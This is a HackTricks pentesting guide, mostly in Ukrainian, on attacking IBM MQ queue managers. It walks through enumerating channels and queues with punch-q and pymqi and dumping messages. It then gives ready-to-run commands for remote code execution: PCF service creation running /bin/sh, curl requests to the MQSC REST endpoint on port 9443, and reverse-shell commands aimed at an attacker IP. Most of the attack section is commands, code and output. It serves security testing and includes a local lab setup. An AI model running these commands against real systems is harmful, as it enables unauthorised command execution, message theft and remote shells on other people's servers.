1414 - Pentesting IBM MQ
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Базова інформація
IBM MQ — це технологія IBM для керування чергами повідомлень. Як і інші брокер повідомлень технології, вона призначена для отримання, зберігання, обробки та класифікації інформації між виробниками та споживачами.
За замовчуванням, відкриває TCP-порт 1414 для IBM MQ. Іноді HTTP REST API може бути доступним на порті 9443. Метрики (Prometheus) також можуть бути доступні через TCP-порт 9157.
IBM MQ TCP порт 1414 можна використовувати для маніпуляцій повідомленнями, чергами, каналами, … але також для керування інстансом.
IBM надає велику технічну документацію, доступну за адресою https://www.ibm.com/docs/en/ibm-mq.
Інструменти
Рекомендований інструмент для простого експлуатації — punch-q, з використанням Docker. Інструмент активно використовує Python-бібліотеку pymqi.
Для більш ручного підходу використовуйте Python-бібліотеку pymqi. IBM MQ dependencies are needed.
Встановлення pymqi
IBM MQ dependencies потрібно встановити і підключити:
- Створіть акаунт (IBMid) на https://login.ibm.com/.
- Завантажте бібліотеки IBM MQ з https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Для Linux x86_64 це 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Розпакуйте (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz). - Запустіть
sudo ./mqlicense.shщоб прийняти умови ліцензії.
Якщо ви використовуєте Kali Linux, змініть файл
mqlicense.sh: видаліть/закоментуйте наступні рядки (між рядками 105-110):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Встановіть ці пакети:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Потім тимчасово додайте файли
.soдо LD:export LD_LIBRARY_PATH=/opt/mqm/lib64, перед запуском інших інструментів, що використовують ці залежності.
Потім ви можете клонувати проект pymqi: він містить цікаві фрагменти коду, константи тощо. Або ви можете встановити бібліотеку напряму за допомогою: pip install pymqi.
Using punch-q
With Docker
Просто використайте: sudo docker run --rm -ti leonjza/punch-q.
Without Docker
Клонуйте проект punch-q та дотримуйтесь readme для встановлення (pip install -r requirements.txt && python3 setup.py install).
Після цього його можна запускати командою punch-q.
Enumeration
Ви можете спробувати перелічити ім’я Queue Manager, користувачів, канали та черги за допомогою punch-q або pymqi.
Якщо TCP/1414 відфільтрований або цільовий хост відкриває лише вбудований веб-сервер, перевірте також TCP/9443. Останні версії IBM MQ за замовчуванням відкривають там IBM MQ Console / REST API, коли mqweb увімкнено, і адміністративний REST endpoint може виконувати довільні MQSC команди, якщо у вас є дійсні облікові дані.
Queue Manager
Іноді немає захисту від отримання імені Queue Manager:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Канали
punch-q використовує внутрішній (змінюваний) wordlist для пошуку існуючих каналів. Приклад використання:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Іноді деякі екземпляри IBM MQ приймають unauthenticated MQ-запити, тому --username / --password не потрібні. Звісно, права доступу також можуть відрізнятися.
Як тільки ми отримаємо одну назву каналу (тут: DEV.ADMIN.SVRCONN), ми можемо перерахувати всі інші канали.
Перерахування фактично можна виконати за допомогою цього фрагмента коду code/examples/dis_channels.py з pymqi:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
… Але punch-q також вбудовує цю частину (з більшою кількістю інформації!). Його можна запустити за допомогою:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
CHLAUTH / OAM recon
Багато випадків «підключається, але повертає 2035» спричинені правилами CHLAUTH або відсутніми дозволами OAM на цільових об’єктах.
Якщо ви вже маєте адміністративний доступ MQSC, MATCH(RUNCHECK) — найшвидший спосіб з’ясувати, яке правило буде застосовано до віддаленого з’єднання:
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR
Через REST admin endpoint на 9443 ту саму перевірку можна виконати віддалено:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Якщо у вас достатньо прав для віддаленого використання PCF, IBM надає MQCMD_INQUIRE_CHLAUTH_RECS, який повертає записи автентифікації каналів та їх відображення на MCAUSER. Це корисно для підтвердження того, чи відображає канал віддалених користувачів на локальний обліковий запис із більшими привілеями перед спробою доступу до повідомлень, створення об’єктів або зловживання сервісом.
Черги
Є фрагмент коду з pymqi (dis_queues.py), але punch-q дозволяє отримати більше інформації про черги:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
Ви можете націлити queue(s)/channel(s), щоб sniff out / dump messages з них (операція, що не змінює дані). Приклади:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
Не вагайтеся повторно опрацьовувати всі виявлені черги.
Виконання коду
Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in IBM MQ documentation. PCF (Programmable Command Formats) — саме на ньому ми зосереджені для віддаленої взаємодії з інстансом. punch-q і, крім того, pymqi базуються на взаємодіях PCF.
You can find a list of PCF commands:
One interesting command is
MQCMD_CREATE_SERVICEand its documentation is available here. It takes as argument aStartCommandpointing to a local program on the instance (example:/bin/sh).There is also a warning of the command in the docs: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”
Примітка: відповідно до документації IBM MQ (Administration Reference), також існує HTTP-ендпоінт за адресою
/admin/action/qmgr/{qmgrName}/mqscдля запуску еквівалентної MQSC-команди для створення сервісу (DEFINE SERVICE). Цей аспект тут поки що не розглядається.
Якщо MQ Console / REST API облікові дані доступні, ви часто можете досягти тих самих адміністративних примітивів через HTTPS на порту 9443 без використання бібліотек клієнта MQ. IBM документує /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc як ендпоінт, що приймає plain-text MQSC або JSON команди.
Створення/видалення сервісу через PCF для віддаленого виконання програм можна виконати за допомогою punch-q:
Приклад 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
У логах IBM MQ видно, що команда виконана успішно:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]Ви також можете перерахувати наявні програми на машині (тут
/bin/doesnotexist… не існує):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Зверніть увагу, що запуск програми асинхронний. Тому потрібен другий елемент, щоб реалізувати експлойт (listener for reverse shell, створення файлу на іншому сервісі, data exfiltration через мережу …)
Ту саму техніку можна реалізувати через REST API:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Це особливо корисно під час оцінювань, коли:
9443доступний, але1414обмежений меншим діапазоном джерел- Цільова команда керує IBM MQ в основному через веб-консоль і забула підсилити захист ролей REST
- Ви хочете уникнути встановлення клієнтських бібліотек IBM MQ локально і вам потрібне лише MQSC-level administration
Приклад 2
Для простого reverse shell, punch-q також пропонує два reverse shell payloads :
- Один з bash
- Один з perl
Звісно ви можете створити власний за допомогою команди execute.
Для bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Для perl:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Налаштований PCF
Ви можете заглянути в документацію IBM MQ і напряму використати бібліотеку pymqi (python), щоб протестувати конкретну PCF-команду, яка не реалізована в punch-q.
Приклад:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
Якщо ви не можете знайти імена констант, можете звернутися до IBM MQ documentation.
_Приклад для
MQCMD_REFRESH_CLUSTER(десяткове значення = 73). Він потребує параметраMQCA_CLUSTER_NAME(десяткове значення = 2029), який може бути_(Doc: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
Середовище для тестування
Якщо ви хочете протестувати поведінку IBM MQ і exploits, ви можете налаштувати локальне середовище на основі Docker:
- Наявність облікового запису на ibm.com та cloud.ibm.com.
- Створіть контейнеризований IBM MQ за допомогою:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
Тут ім’я менеджера черги встановлено як MYQUEUEMGR (змінна MQ_QMGR_NAME).
Останні 9.4.x образи для розробників змінили поведінку за замовчуванням:
adminтаappстворюються лише якщо ви встановите їхні паролі- IBM позначає
MQ_ADMIN_PASSWORD/MQ_APP_PASSWORDяк застарілі починаючи з9.4.0.0 - Рекомендований спосіб — подавати секрети з іменами
mqAdminPasswordтаmqAppPassword
Для швидкої локальної лабораторії з Podman ви можете створити обох користувачів так:
printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
За конфігурацією розробника за замовчуванням:
DEV.ADMIN.SVRCONNдозволяє лише користувачуadminDEV.APP.SVRCONN— це канал застосунку, і очікуваною ідентичністю є користувачapphttps://<target>:9443/ibmmq/consoleнадає доступ до веб-консолі, коли вбудований веб-сервер увімкнено
IBM MQ має бути запущений і мати відкриті порти:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
Старі версії IBM MQ docker images знаходяться за адресою: https://hub.docker.com/r/ibmcom/mq/.
Посилання
- mgeeky’s gist - “Practical IBM MQ Penetration Testing notes”
- MQ Jumping - DEFCON 15
- IBM MQ documentation
- IBM MQ REST API:
/admin/action/qmgr/{qmgrName}/mqsc - IBM MQ container default developer configuration
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


